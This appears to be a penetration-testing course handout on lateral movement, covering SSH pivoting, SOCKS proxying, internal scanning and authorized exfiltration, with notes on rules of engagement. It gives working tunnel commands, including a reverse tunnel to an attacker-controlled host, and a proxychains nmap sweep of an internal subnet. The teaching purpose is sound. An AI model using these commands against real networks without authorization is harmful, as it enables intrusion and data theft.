Week 11 — Lateral movement and exfiltration

Learning objectives

• Use a compromised host as a pivot toward an internal segment.
• Establish stable, reversible, loggable SSH tunnels.
• Understand antivirus evasion without turning it into a goal in itself.

The pivot in one sentence

A pivot turns the compromised host into a relay. Without a pivot, internal reconnaissance is impossible from the outside.

Three tunneling techniques

# Local forwarding: the attacker workstation exposes a port that reaches an internal service.
ssh -L 8080:10.1.1.20:80 user@pivot

# Dynamic forwarding: SOCKS5 on the attacker side, all traffic exits via the pivot.
ssh -D 1080 user@pivot

# Reverse forwarding: the target connects back to you. Useful behind NAT.
ssh -R 4444:localhost:22 attacker@vps

Using it with Proxychains:

# /etc/proxychains.conf
socks5 127.0.0.1 1080

proxychains -q nmap -sT -Pn 10.1.1.0/24

Responsible internal reconnaissance

On an internal network, an aggressive scan breaks services (printers, industrial controllers). Drop to -T2, restrict yourself to ports relevant to the goal, never scan an entire industrial segment without explicit authorization in the RoE.

Antivirus evasion — What to know

Evasion is a moving field. What matters in a professional pentest:

• Document the techniques tested: the value to the client is knowing what got detected, not only what worked.
• Do not drop a persistent payload without explicit authorization: this is a near-systematic red line in the RoE.
• Clean each host at the end of a test: files, accounts, scheduled tasks.

Exfiltration

The rule: exfiltrate fake data to prove the channel, never real data from the client. An encrypted, dated PROOF_OF_EXFIL_2026-08-08.txt file is enough for the demonstration.